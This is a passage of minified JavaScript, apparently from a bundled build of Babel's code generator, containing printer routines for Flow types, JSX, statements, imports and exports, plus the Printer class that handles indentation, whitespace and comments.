h(e,t){Q.isDeclareExportDeclaration(t)||(this.word("declare"),this.space()),this.OpaqueType(e)}function m(e,t){Q.isDeclareExportDeclaration(t)||(this.word("declare"),this.space()),this.word("var"),this.space(),this.print(e.id,e),this.print(e.id.typeAnnotation,e),this.semicolon()}function y(e){this.word("declare"),this.space(),this.word("export"),this.space(),e.default&&(this.word("default"),this.space()),v.apply(this,arguments)}function v(e){if(e.declaration){var t=e.declaration;this.print(t,e),Q.isStatement(t)||this.semicolon()}else this.token("{"),e.specifiers.length&&(this.space(),this.printList(e.specifiers,e),this.space()),this.token("}"),e.source&&(this.space(),this.word("from"),this.space(),this.print(e.source,e)),this.semicolon()}function g(){this.token("*")}function b(e,t){this.print(e.typeParameters,e),this.token("("),this.printList(e.params,e),e.rest&&(e.params.length&&(this.token(","),this.space()),this.token("..."),this.print(e.rest,e)),this.token(")"),"ObjectTypeCallProperty"===t.type||"DeclareFunction"===t.type?this.token(":"):(this.space(),this.token("=>")),this.space(),this.print(e.returnType,e)}function E(e){this.print(e.name,e),e.optional&&this.token("?"),this.token(":"),this.space(),this.print(e.typeAnnotation,e)}function x(e){this.print(e.id,e),this.print(e.typeParameters,e)}function A(e){this.print(e.id,e),this.print(e.typeParameters,e),e.extends.length&&(this.space(),this.word("extends"),this.space(),this.printList(e.extends,e)),e.mixins&&e.mixins.length&&(this.space(),this.word("mixins"),this.space(),this.printList(e.mixins,e)),this.space(),this.print(e.body,e)}function S(e){"plus"===e.variance?this.token("+"):"minus"===e.variance&&this.token("-")}function _(e){this.word("interface"),this.space(),this._interfaceish(e)}function D(){this.space(),this.token("&"),this.space()}function C(e){this.printJoin(e.types,e,{separator:D})}function w(){this.word("mixed")}function P(){this.word("empty")}function k(e){this.token("?"),this.print(e.typeAnnotation,e)}function F(){this.word("number")}function T(){this.word("string")}function O(){this.word("this")}function B(e){this.token("["),this.printList(e.types,e),this.token("]")}function R(e){this.word("typeof"),this.space(),this.print(e.argument,e)}function I(e){this.word("type"),this.space(),this.print(e.id,e),this.print(e.typeParameters,e),this.space(),this.token("="),this.space(),this.print(e.right,e),this.semicolon()}function M(e){this.word("opaque"),this.space(),this.word("type"),this.space(),this.print(e.id,e),this.print(e.typeParameters,e),e.supertype&&(this.token(":"),this.space(),this.print(e.supertype,e)),e.impltype&&(this.space(),this.token("="),this.space(),this.print(e.impltype,e)),this.semicolon()}function N(e){this.token(":"),this.space(),e.optional&&this.token("?"),this.print(e.typeAnnotation,e)}function L(e){this._variance(e),this.word(e.name),e.bound&&this.print(e.bound,e),e.default&&(this.space(),this.token("="),this.space(),this.print(e.default,e))}function j(e){this.token("<"),this.printList(e.params,e,{}),this.token(">")}function U(e){var t=this;e.exact?this.token("{|"):this.token("{");var r=e.properties.concat(e.callProperties,e.indexers);r.length&&(this.space(),this.printJoin(r,e,{addNewlines:function(e){if(e&&!r[0])return 1},indent:!0,statement:!0,iterator:function(){1!==r.length&&(t.format.flowCommaSeparator?t.token(","):t.semicolon(),t.space())}}),this.space()),e.exact?this.token("|}"):this.token("}")}function V(e){e.static&&(this.word("static"),this.space()),this.print(e.value,e)}function G(e){e.static&&(this.word("static"),this.space()),this._variance(e),this.token("["),this.print(e.id,e),this.token(":"),this.space(),this.print(e.key,e),this.token("]"),this.token(":"),this.space(),this.print(e.value,e)}function W(e){e.static&&(this.word("static"),this.space()),this._variance(e),this.print(e.key,e),e.optional&&this.token("?"),this.token(":"),this.space(),this.print(e.value,e)}function Y(e){this.token("..."),this.print(e.argument,e)}function q(e){this.print(e.qualification,e),this.token("."),this.print(e.id,e)}function K(){this.space(),this.token("|"),this.space()}function H(e){this.printJoin(e.types,e,{separator:K})}function J(e){this.token("("),this.print(e.expression,e),this.print(e.typeAnnotation,e),this.token(")")}function X(){this.word("void")}t.__esModule=!0,t.TypeParameterDeclaration=t.StringLiteralTypeAnnotation=t.NumericLiteralTypeAnnotation=t.GenericTypeAnnotation=t.ClassImplements=void 0,t.AnyTypeAnnotation=n,t.ArrayTypeAnnotation=i,t.BooleanTypeAnnotation=s,t.BooleanLiteralTypeAnnotation=a,t.NullLiteralTypeAnnotation=o,t.DeclareClass=u,t.DeclareFunction=l,t.DeclareInterface=c,t.DeclareModule=f,t.DeclareModuleExports=p,t.DeclareTypeAlias=d,t.DeclareOpaqueType=h,t.DeclareVariable=m,t.DeclareExportDeclaration=y,t.ExistentialTypeParam=g,t.FunctionTypeAnnotation=b,t.FunctionTypeParam=E,t.InterfaceExtends=x,t._interfaceish=A,t._variance=S,t.InterfaceDeclaration=_,t.IntersectionTypeAnnotation=C,t.MixedTypeAnnotation=w,t.EmptyTypeAnnotation=P,t.NullableTypeAnnotation=k;var z=r(123);Object.defineProperty(t,"NumericLiteralTypeAnnotation",{enumerable:!0,get:function(){return z.NumericLiteral}}),Object.defineProperty(t,"StringLiteralTypeAnnotation",{enumerable:!0,get:function(){return z.StringLiteral}}),t.NumberTypeAnnotation=F,t.StringTypeAnnotation=T,t.ThisTypeAnnotation=O,t.TupleTypeAnnotation=B,t.TypeofTypeAnnotation=R,t.TypeAlias=I,t.OpaqueType=M,t.TypeAnnotation=N,t.TypeParameter=L,t.TypeParameterInstantiation=j,t.ObjectTypeAnnotation=U,t.ObjectTypeCallProperty=V,t.ObjectTypeIndexer=G,t.ObjectTypeProperty=W,t.ObjectTypeSpreadProperty=Y,t.QualifiedTypeIdentifier=q,t.UnionTypeAnnotation=H,t.TypeCastExpression=J,t.VoidTypeAnnotation=X;var $=r(1),Q=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}($);t.ClassImplements=x,t.GenericTypeAnnotation=x,t.TypeParameterDeclaration=j},function(e,t,r){"use strict";function n(e){this.print(e.name,e),e.value&&(this.token("="),this.print(e.value,e))}function i(e){this.word(e.name)}function s(e){this.print(e.namespace,e),this.token(":"),this.print(e.name,e)}function a(e){this.print(e.object,e),this.token("."),this.print(e.property,e)}function o(e){this.token("{"),this.token("..."),this.print(e.argument,e),this.token("}")}function u(e){this.token("{"),this.print(e.expression,e),this.token("}")}function l(e){this.token("{"),this.token("..."),this.print(e.expression,e),this.token("}")}function c(e){this.token(e.value)}function f(e){var t=e.openingElement;if(this.print(t,e),!t.selfClosing){this.indent();for(var r=e.children,n=Array.isArray(r),i=0,r=n?r:(0,v.default)(r);;){var s;if(n){if(i>=r.length)break;s=r[i++]}else{if(i=r.next(),i.done)break;s=i.value}var a=s;this.print(a,e)}this.dedent(),this.print(e.closingElement,e)}}function p(){this.space()}function d(e){this.token("<"),this.print(e.name,e),e.attributes.length>0&&(this.space(),this.printJoin(e.attributes,e,{separator:p})),e.selfClosing?(this.space(),this.token("/>")):this.token(">")}function h(e){this.token("</"),this.print(e.name,e),this.token(">")}function m(){}t.__esModule=!0;var y=r(2),v=function(e){return e&&e.__esModule?e:{default:e}}(y);t.JSXAttribute=n,t.JSXIdentifier=i,t.JSXNamespacedName=s,t.JSXMemberExpression=a,t.JSXSpreadAttribute=o,t.JSXExpressionContainer=u,t.JSXSpreadChild=l,t.JSXText=c,t.JSXElement=f,t.JSXOpeningElement=d,t.JSXClosingElement=h,t.JSXEmptyExpression=m},function(e,t,r){"use strict";function n(e){var t=this;this.print(e.typeParameters,e),this.token("("),this.printList(e.params,e,{iterator:function(e){e.optional&&t.token("?"),t.print(e.typeAnnotation,e)}}),this.token(")"),e.returnType&&this.print(e.returnType,e)}function i(e){var t=e.kind,r=e.key;"method"!==t&&"init"!==t||e.generator&&this.token("*"),"get"!==t&&"set"!==t||(this.word(t),this.space()),e.async&&(this.word("async"),this.space()),e.computed?(this.token("["),this.print(r,e),this.token("]")):this.print(r,e),this._params(e),this.space(),this.print(e.body,e)}function s(e){e.async&&(this.word("async"),this.space()),this.word("function"),e.generator&&this.token("*"),e.id?(this.space(),this.print(e.id,e)):this.space(),this._params(e),this.space(),this.print(e.body,e)}function a(e){e.async&&(this.word("async"),this.space());var t=e.params[0];1===e.params.length&&l.isIdentifier(t)&&!o(e,t)?this.print(t,e):this._params(e),this.space(),this.token("=>"),this.space(),this.print(e.body,e)}function o(e,t){return e.typeParameters||e.returnType||t.typeAnnotation||t.optional||t.trailingComments}t.__esModule=!0,t.FunctionDeclaration=void 0,t._params=n,t._method=i,t.FunctionExpression=s,t.ArrowFunctionExpression=a;var u=r(1),l=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(u);t.FunctionDeclaration=s},function(e,t,r){"use strict";function n(e){"type"!==e.importKind&&"typeof"!==e.importKind||(this.word(e.importKind),this.space()),this.print(e.imported,e),e.local&&e.local.name!==e.imported.name&&(this.space(),this.word("as"),this.space(),this.print(e.local,e))}function i(e){this.print(e.local,e)}function s(e){this.print(e.exported,e)}function a(e){this.print(e.local,e),e.exported&&e.local.name!==e.exported.name&&(this.space(),this.word("as"),this.space(),this.print(e.exported,e))}function o(e){this.token("*"),this.space(),this.word("as"),this.space(),this.print(e.exported,e)}function u(e){this.word("export"),this.space(),this.token("*"),this.space(),this.word("from"),this.space(),this.print(e.source,e),this.semicolon()}function l(){this.word("export"),this.space(),f.apply(this,arguments)}function c(){this.word("export"),this.space(),this.word("default"),this.space(),f.apply(this,arguments)}function f(e){if(e.declaration){var t=e.declaration;this.print(t,e),m.isStatement(t)||this.semicolon()}else{"type"===e.exportKind&&(this.word("type"),this.space());for(var r=e.specifiers.slice(0),n=!1;;){var i=r[0];if(!m.isExportDefaultSpecifier(i)&&!m.isExportNamespaceSpecifier(i))break;n=!0,this.print(r.shift(),e),r.length&&(this.token(","),this.space())}(r.length||!r.length&&!n)&&(this.token("{"),r.length&&(this.space(),this.printList(r,e),this.space()),this.token("}")),e.source&&(this.space(),this.word("from"),this.space(),this.print(e.source,e)),this.semicolon()}}function p(e){this.word("import"),this.space(),"type"!==e.importKind&&"typeof"!==e.importKind||(this.word(e.importKind),this.space());var t=e.specifiers.slice(0);if(t&&t.length){for(;;){var r=t[0];if(!m.isImportDefaultSpecifier(r)&&!m.isImportNamespaceSpecifier(r))break;this.print(t.shift(),e),t.length&&(this.token(","),this.space())}t.length&&(this.token("{"),this.space(),this.printList(t,e),this.space(),this.token("}")),this.space(),this.word("from"),this.space()}this.print(e.source,e),this.semicolon()}function d(e){this.token("*"),this.space(),this.word("as"),this.space(),this.print(e.local,e)}t.__esModule=!0,t.ImportSpecifier=n,t.ImportDefaultSpecifier=i,t.ExportDefaultSpecifier=s,t.ExportSpecifier=a,t.ExportNamespaceSpecifier=o,t.ExportAllDeclaration=u,t.ExportNamedDeclaration=l,t.ExportDefaultDeclaration=c,t.ImportDeclaration=p,t.ImportNamespaceSpecifier=d;var h=r(1),m=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(h)},function(e,t,r){"use strict";function n(e){this.word("with"),this.space(),this.token("("),this.print(e.object,e),this.token(")"),this.printBlock(e)}function i(e){this.word("if"),this.space(),this.token("("),this.print(e.test,e),this.token(")"),this.space();var t=e.alternate&&S.isIfStatement(s(e.consequent));t&&(this.token("{"),this.newline(),this.indent()),this.printAndIndentOnComments(e.consequent,e),t&&(this.dedent(),this.newline(),this.token("}")),e.alternate&&(this.endsWith("}")&&this.space(),this.word("else"),this.space(),this.printAndIndentOnComments(e.alternate,e))}function s(e){return S.isStatement(e.body)?s(e.body):e}function a(e){this.word("for"),this.space(),this.token("("),this.inForStatementInitCounter++,this.print(e.init,e),this.inForStatementInitCounter--,this.token(";"),e.test&&(this.space(),this.print(e.test,e)),this.token(";"),e.update&&(this.space(),this.print(e.update,e)),this.token(")"),this.printBlock(e)}function o(e){this.word("while"),this.space(),this.token("("),this.print(e.test,e),this.token(")"),this.printBlock(e)}function u(e){this.word("do"),this.space(),this.print(e.body,e),this.space(),this.word("while"),this.space(),this.token("("),this.print(e.test,e),this.token(")"),this.semicolon()}function l(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"label";return function(r){this.word(e);var n=r[t];if(n){this.space();var i=this.startTerminatorless();this.print(n,r),this.endTerminatorless(i)}this.semicolon()}}function c(e){this.print(e.label,e),this.token(":"),this.space(),this.print(e.body,e)}function f(e){this.word("try"),this.space(),this.print(e.block,e),this.space(),e.handlers?this.print(e.handlers[0],e):this.print(e.handler,e),e.finalizer&&(this.space(),this.word("finally"),this.space(),this.print(e.finalizer,e))}function p(e){this.word("catch"),this.space(),this.token("("),this.print(e.param,e),this.token(")"),this.space(),this.print(e.body,e)}function d(e){this.word("switch"),this.space(),this.token("("),this.print(e.discriminant,e),this.token(")"),this.space(),this.token("{"),this.printSequence(e.cases,e,{indent:!0,addNewlines:function(t,r){if(!t&&e.cases[e.cases.length-1]===r)return-1}}),this.token("}")}function h(e){e.test?(this.word("case"),this.space(),this.print(e.test,e),this.token(":")):(this.word("default"),this.token(":")),e.consequent.length&&(this.newline(),this.printSequence(e.consequent,e,{indent:!0}))}function m(){this.word("debugger"),this.semicolon()}function y(){if(this.token(","),this.newline(),this.endsWith("\n"))for(var e=0;e<4;e++)this.space(!0)}function v(){if(this.token(","),this.newline(),this.endsWith("\n"))for(var e=0;e<6;e++)this.space(!0)}function g(e,t){this.word(e.kind),this.space();var r=!1;if(!S.isFor(t))for(var n=e.declarations,i=Array.isArray(n),s=0,n=i?n:(0,x.default)(n);;){var a;if(i){if(s>=n.length)break;a=n[s++]}else{if(s=n.next(),s.done)break;a=s.value}var o=a;o.init&&(r=!0)}var u=void 0;r&&(u="const"===e.kind?v:y),this.printList(e.declarations,e,{separator:u}),(!S.isFor(t)||t.left!==e&&t.init!==e)&&this.semicolon()}function b(e){this.print(e.id,e),this.print(e.id.typeAnnotation,e),e.init&&(this.space(),this.token("="),this.space(),this.print(e.init,e))}t.__esModule=!0,t.ThrowStatement=t.BreakStatement=t.ReturnStatement=t.ContinueStatement=t.ForAwaitStatement=t.ForOfStatement=t.ForInStatement=void 0;var E=r(2),x=function(e){return e&&e.__esModule?e:{default:e}}(E);t.WithStatement=n,t.IfStatement=i,t.ForStatement=a,t.WhileStatement=o,t.DoWhileStatement=u,t.LabeledStatement=c,t.TryStatement=f,t.CatchClause=p,t.SwitchStatement=d,t.SwitchCase=h,t.DebuggerStatement=m,t.VariableDeclaration=g,t.VariableDeclarator=b;var A=r(1),S=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(A),_=function(e){return function(t){this.word("for"),this.space(),"await"===e&&(this.word("await"),this.space()),this.token("("),this.print(t.left,t),this.space(),this.word("await"===e?"of":e),this.space(),this.print(t.right,t),this.token(")"),this.printBlock(t)}};t.ForInStatement=_("in"),t.ForOfStatement=_("of"),t.ForAwaitStatement=_("await"),t.ContinueStatement=l("continue"),t.ReturnStatement=l("return","argument"),t.BreakStatement=l("break"),t.ThrowStatement=l("throw","argument")},function(e,t){"use strict";function r(e){this.print(e.tag,e),this.print(e.quasi,e)}function n(e,t){var r=t.quasis[0]===e,n=t.quasis[t.quasis.length-1]===e,i=(r?"`":"}")+e.value.raw+(n?"`":"${");this.token(i)}function i(e){for(var t=e.quasis,r=0;r<t.length;r++)this.print(t[r],e),r+1<t.length&&this.print(e.expressions[r],e)}t.__esModule=!0,t.TaggedTemplateExpression=r,t.TemplateElement=n,t.TemplateLiteral=i},function(e,t,r){"use strict";function n(e,t){return b.isArrayTypeAnnotation(t)}function i(e,t){return b.isMemberExpression(t)&&t.object===e}function s(e,t,r){return v(r,{considerArrow:!0})}function a(e,t,r){return v(r)}function o(e,t){if((b.isCallExpression(t)||b.isNewExpression(t))&&t.callee===e||b.isUnaryLike(t)||b.isMemberExpression(t)&&t.object===e||b.isAwaitExpression(t))return!0;if(b.isBinary(t)){var r=t.operator,n=E[r],i=e.operator,s=E[i];if(n===s&&t.right===e&&!b.isLogicalExpression(t)||n>s)return!0}return!1}function u(e,t){return"in"===e.operator&&(b.isVariableDeclarator(t)||b.isFor(t))}function l(e,t){return!(b.isForStatement(t)||b.isThrowStatement(t)||b.isReturnStatement(t)||b.isIfStatement(t)&&t.test===e||b.isWhileStatement(t)&&t.test===e||b.isForInStatement(t)&&t.right===e||b.isSwitchStatement(t)&&t.discriminant===e||b.isExpressionStatement(t)&&t.expression===e)}function c(e,t){return b.isBinary(t)||b.isUnaryLike(t)||b.isCallExpression(t)||b.isMemberExpression(t)||b.isNewExpression(t)||b.isConditionalExpression(t)&&e===t.test}function f(e,t,r){return v(r,{considerDefaultExports:!0})}function p(e,t){return b.isMemberExpression(t,{object:e})||b.isCallExpression(t,{callee:e})||b.isNewExpression(t,{callee:e})}function d(e,t,r){return v(r,{considerDefaultExports:!0})}function h(e,t){return!!(b.isExportDeclaration(t)||b.isBinaryExpression(t)||b.isLogicalExpression(t)||b.isUnaryExpression(t)||b.isTaggedTemplateExpression(t))||p(e,t)}function m(e,t){return!!(b.isUnaryLike(t)||b.isBinary(t)||b.isConditionalExpression(t,{test:e})||b.isAwaitExpression(t))||p(e,t)}function y(e){return!!b.isObjectPattern(e.left)||m.apply(void 0,arguments)}function v(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},r=t.considerArrow,n=void 0!==r&&r,i=t.considerDefaultExports,s=void 0!==i&&i,a=e.length-1,o=e[a];a--;for(var u=e[a];a>0;){if(b.isExpressionStatement(u,{expression:o})||b.isTaggedTemplateExpression(u)||s&&b.isExportDefaultDeclaration(u,{declaration:o})||n&&b.isArrowFunctionExpression(u,{body:o}))return!0;if(!(b.isCallExpression(u,{callee:o})||b.isSequenceExpression(u)&&u.expressions[0]===o||b.isMemberExpression(u,{object:o})||b.isConditional(u,{test:o})||b.isBinary(u,{left:o})||b.isAssignmentExpression(u,{left:o})))return!1;o=u,a--,u=e[a]}return!1}t.__esModule=!0,t.AwaitExpression=t.FunctionTypeAnnotation=void 0,t.NullableTypeAnnotation=n,t.UpdateExpression=i,t.ObjectExpression=s,t.DoExpression=a,t.Binary=o,t.BinaryExpression=u,t.SequenceExpression=l,t.YieldExpression=c,t.ClassExpression=f,t.UnaryLike=p,t.FunctionExpression=d,t.ArrowFunctionExpression=h,t.ConditionalExpression=m,t.AssignmentExpression=y;var g=r(1),b=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(g),E={"||":0,"&&":1,"|":2,"^":3,"&":4,"==":5,"===":5,"!=":5,"!==":5,"<":6,">":6,"<=":6,">=":6,in:6,instanceof:6,">>":7,"<<":7,">>>":7,"+":8,"-":8,"*":9,"/":9,"%":9,"**":10};t.FunctionTypeAnnotation=n,t.AwaitExpression=c},function(e,t,r){"use strict";function n(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return l.isMemberExpression(e)?(n(e.object,t),e.computed&&n(e.property,t)):l.isBinary(e)||l.isAssignmentExpression(e)?(n(e.left,t),n(e.right,t)):l.isCallExpression(e)?(t.hasCall=!0,n(e.callee,t)):l.isFunction(e)?t.hasFunction=!0:l.isIdentifier(e)&&(t.hasHelper=t.hasHelper||i(e.callee)),t}function i(e){return l.isMemberExpression(e)?i(e.object)||i(e.property):l.isIdentifier(e)?"require"===e.name||"_"===e.name[0]:l.isCallExpression(e)?i(e.callee):!(!l.isBinary(e)&&!l.isAssignmentExpression(e))&&(l.isIdentifier(e.left)&&i(e.left)||i(e.right))}function s(e){return l.isLiteral(e)||l.isObjectExpression(e)||l.isArrayExpression(e)||l.isIdentifier(e)||l.isMemberExpression(e)}var a=r(588),o=function(e){return e&&e.__esModule?e:{default:e}}(a),u=r(1),l=function(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}(u);t.nodes={AssignmentExpression:function(e){var t=n(e.right);if(t.hasCall&&t.hasHelper||t.hasFunction)return{before:t.hasFunction,after:!0}},SwitchCase:function(e,t){return{before:e.consequent.length||t.cases[0]===e}},LogicalExpression:function(e){if(l.isFunction(e.left)||l.isFunction(e.right))return{after:!0}},Literal:function(e){if("use strict"===e.value)return{after:!0}},CallExpression:function(e){if(l.isFunction(e.callee)||i(e))return{before:!0,after:!0}},VariableDeclaration:function(e){for(var t=0;t<e.declarations.length;t++){var r=e.declarations[t],a=i(r.id)&&!s(r.init);if(!a){var o=n(r.init);a=i(r.init)&&o.hasCall||o.hasFunction}if(a)return{before:!0,after:!0}}},IfStatement:function(e){if(l.isBlockStatement(e.consequent))return{before:!0,after:!0}}},t.nodes.ObjectProperty=t.nodes.ObjectTypeProperty=t.nodes.ObjectMethod=t.nodes.SpreadProperty=function(e,t){if(t.properties[0]===e)return{before:!0}},t.list={VariableDeclaration:function(e){return(0,o.default)(e.declarations,"init")},ArrayExpression:function(e){return e.elements},ObjectExpression:function(e){return e.properties}},[["Function",!0],["Class",!0],["Loop",!0],["LabeledStatement",!0],["SwitchStatement",!0],["TryStatement",!0]].forEach(function(e){var r=e[0],n=e[1];"boolean"==typeof n&&(n={after:n,before:n}),[r].concat(l.FLIPPED_ALIAS_KEYS[r]||[]).forEach(function(e){t.nodes[e]=function(){return n}})})},function(e,t,r){"use strict";function n(e){if(e&&e.__esModule)return e;var t={};if(null!=e)for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t.default=e,t}function i(e){return e&&e.__esModule?e:{default:e}}function s(){this.token(","),this.space()}t.__esModule=!0;var a=r(87),o=i(a),u=r(2),l=i(u),c=r(35),f=i(c),p=r(365),d=i(p),h=r(3),m=i(h),y=r(579),v=i(y),g=r(581),b=i(g),E=r(586),x=i(E),A=r(278),S=i(A),_=r(300),D=i(_),C=r(187),w=n(C),P=r(314),k=i(P),F=r(1),T=n(F),O=/e/i,B=/\.0+$/,R=/^0[box]/,I=function(){function e(t,r,n){(0,m.default)(this,e),this.inForStatementInitCounter=0,this._printStack=[],this._indent=0,this._insideAux=!1,this._printedCommentStarts={},this._parenPushNewlineState=null,this._printAuxAfterOnNextUserNode=!1,this._printedComments=new d.default,this._endsWithInteger=!1,this._endsWithWord=!1,this.format=t||{},this._buf=new D.default(r),this._whitespace=n.length>0?new k.default(n):null}return e.prototype.generate=function(e){return this.print(e),this._maybeAddAuxComment(),this._buf.get()},e.prototype.indent=function(){this.format.compact||this.format.concise||this._indent++},e.prototype.dedent=function(){this.format.compact||this.format.concise||this._indent--},e.prototype.semicolon=function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];this._maybeAddAuxComment(),this._append(";",!e)},e.prototype.rightBrace=function(){this.format.minified&&this._buf.removeLastSemicolon(),this.token("}")},e.prototype.space=function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];this.format.compact||(this._buf.hasContent()&&!this.endsWith(" ")&&!this.endsWith("\n")||e)&&this._space()},e.prototype.word=function(e){this._endsWithWord&&this._space(),this._maybeAddAuxComment(),this._append(e),this._endsWithWord=!0},e.prototype.number=function(e){this.word(e),this._endsWithInteger=(0,x.default)(+e)&&!R.test(e)&&!O.test(e)&&!B.test(e)&&"."!==e[e.length-1]},e.prototype.token=function(e){("--"===e&&this.endsWith("!")||"+"===e[0]&&this.endsWith("+")||"-"===e[0]&&this.endsWith("-")||"."===e[0]&&this._endsWithInteger)&&this._space(),this._maybeAddAuxComment(),this._append(e)},e.prototype.newline=function(e){if(!this.format.retainLines&&!this.format.compact){if(this.format.concise)return void this.space();if(!(this.endsWith("\n\n")||("number"!=typeof e&&(e=1),e=Math.min(2,e),(this.endsWith("{\n")||this.endsWith(":\n"))&&e--,e<=0)))for(var t=0;t<e;t++)this._newline()}},e.prototype.endsWith=function(e){return this._buf.endsWith(e)},e.prototype.removeTrailingNewline=function(){this._buf.removeTrailingNewline()},e.prototype.source=function(e,t){this._catchUp(e,t),this._buf.source(e,t)},e.prototype.withSource=function(e,t,r){this._catchUp(e,t),this._buf.withSource(e,t,r)},e.prototype._space=function(){this._append(" ",!0)},e.prototype._newline=function(){this._append("\n",!0)},e.prototype._append=function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];this._maybeAddParen(e),this._maybeIndent(e),t?this._buf.queue(e):this._buf.append(e),this._endsWithWord=!1,this._endsWithInteger=!1},e.prototype._maybeIndent=function(e){this._indent&&this.endsWith("\n")&&"\n"!==e[0]&&this._buf.queue(this._getIndent())},e.prototype._maybeAddParen=function(e){var t=this._parenPushNewlineState;if(t){this._parenPushNewlineState=null;var r=void 0;for(r=0;r<e.length&&" "===e[r];r++);if(r!==e.length){var n=e[r];"\n"!==n&&"/"!==n||(this.token("("),this.indent(),t.printed=!0)}}},e.prototype._catchUp=function(e,t){if(this.format.retainLines){var r=t?t[e]:null;if(r&&null!==r.line)for(var n=r.line-this._buf.getCurrentLine(),i=0;i<n;i++)this._newline()}},e.prototype._getIndent=function(){return(0,S.default)(this.format.indent.style,this._indent)},e.prototype.startTerminatorless=function(){return this._parenPushNewlineState={printed:!1}},e.prototype.endTerminatorless=function(e){e.printed&&(this.dedent(),this.newline(),this.token(")"))},e.prototype.print=function(e,t){var r=this;if(e){var n=this.format.concise;e._compact&&(this.format.concise=!0);if(!this[e.type])throw new ReferenceError("unknown node of type "+(0,f.default)(e.type)+" with constructor "+(0,f.default)(e&&e.constructor.name));this._printStack.push(e);var i=this._insideAux;this._insideAux=!e.loc,this._maybeAddAuxComment(this._insideAux&&!i);var s=w.needsParens(e,t,this._printStack);this.format.retainFunctionParens&&"FunctionExpression"===e.type&&e.extra&&e.extra.parenthesized&&(s=!0),s&&this.token("("),this._printLeadingComments(e,t);var a=T.isProgram(e)||T.isFile(e)?null:e.loc;this.withSource("start",a,function(){r[e.type](e,t)}),this._printTrailingComments(e,t),s&&this.token(")"),this._printStack.pop(),this.format.concise=n,this._insideAux=i}},e.prototype._maybeAddAuxComment=function(e){e&&this._printAuxBeforeComment(),this._insideAux||this._printAuxAfterComment()},e.prototype._printAuxBeforeComment=function(){if(!this._printAuxAfterOnNextUserNode){this._printAuxAfterOnNextUserNode=!0;var e=this.format.auxiliaryCommentBefore;e&&this._printComment({type:"CommentBlock",value:e})}},e.prototype._printAuxAfterComment=function(){if(this._printAuxAfterOnNextUserNode){this._printAuxAfterOnNextUserNode=!1;var e=this.format.auxiliaryCommentAfter;e&&this._printComment({type:"CommentBlock",value:e})}},e.prototype.getPossibleRaw=function(e){var t=e.extra;if(t&&null!=t.raw&&null!=t.rawValue&&e.value===t.rawValue)return t.raw},e.prototype.printJoin=function(e,t){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};if(e&&e.length){r.indent&&this.indent();for(var n={addNewlines:r.addNewlines},i=0;i<e.length;i++){var s=e[i];s&&(r.statement&&this._printNewline(!0,s,t,n),this.print(s,t),r.iterator&&r.iterator(s,i),r.separator&&i<e.length-1&&r.separator.call(this),r.statement&&this._printNewline(!1,s,t,n))}r.indent&&this.dedent()}},e.prototype.printAndIndentOnComments=function(e,t){var r=!!e.leadingComments;r&&this.indent(),this.print(e,t),r&&this.dedent()},e.prototype.printBlock=function(e){var t=e.body;T.isEmptyStatement(t)||this.space(),this.print(t,e)},e.prototype._printTrailingComments=function(e,t){this._printComments(this._getComments(!1,e,t))},e.prototype._printLeadingComments=function(e,t){this._printComments(this._getComments(!0,e,t))},e.prototype.printInnerComments=function(e){var t=!(arguments.length>1&&void 0!==arguments[1])||arguments[1];e.innerComments&&(t&&this.indent(),this._printComments(e.innerComments),t&&this.dedent())},e.prototype.printSequence=function(e,t){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return r.statement=!0,this.printJoin(e,t,r)},e.prototype.printList=function(e,t){var r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return null==r.separator&&(r.separator=s),this.printJoin(e,t,r)},e.prototype._printNewline=function(e,t,r,n){var i=this;if(!this.format.retainLines&&!this.format.compact){if(this.format.concise)return void this.space();var s=0;if(null!=t.start&&!t._ignoreUserWhitespace&&this._whitespace)if(e){var a=t.leadingComments,o=a&&(0,v.default)(a,function(e){
return!!e.loc&&i.format.shouldPrintComment(e.value)});s=this._whitespace.getNewlinesBefore(o||t)}else{var u=t.trailingComments,l=u&&(0,b.default)(u,function(e){return!!e.loc&&i.format.shouldPrintComment(e.value)});s=this._whitespace.getNewlinesAfter(l||t)}else{e||s++,n.addNewlines&&(s+=n.addNewlines(e,t)||0);var c=w.needsWhitespaceAfter;e&&(c=w.needsWhitespaceBefore),c(t,r)&&s++,this._buf.hasContent()||(s=0)}this.newline(s)}},e.prototype._getComments=function(e,t){return t&&(e?t.leadingComments:t.trailingComments)||[]},e.prototype._printComment=function(e){var t=this;if(this.format.shouldPrintComment(e.value)&&!e.ignore&&!this._printedComments.has(e)){if(this._printedComments.add(e),null!=e.start){if(this._printedCommentStarts[e.start])return;this._printedCommentStarts[e.start]=!0}this.newline(this._whitespace?this._whitespace.getNewlinesBefore(e):0),this.endsWith("[")||this.endsWith("{")||this.space();var r="CommentLine"===e.type?"//"+e.value+"\n":"/*"+e.value+"*/";if("CommentBlock"===e.type&&this.format.indent.adjustMultilineComment){var n=e.loc&&e.loc.start.column;if(n){var i=new RegExp("\\n\\s{1,"+n+"}","g");r=r.replace(i,"\n")}var s=Math.max(this._getIndent().length,this._buf.getCurrentColumn());r=r.replace(/\n(?!$)/g,"\n"+(0,S.default)(" 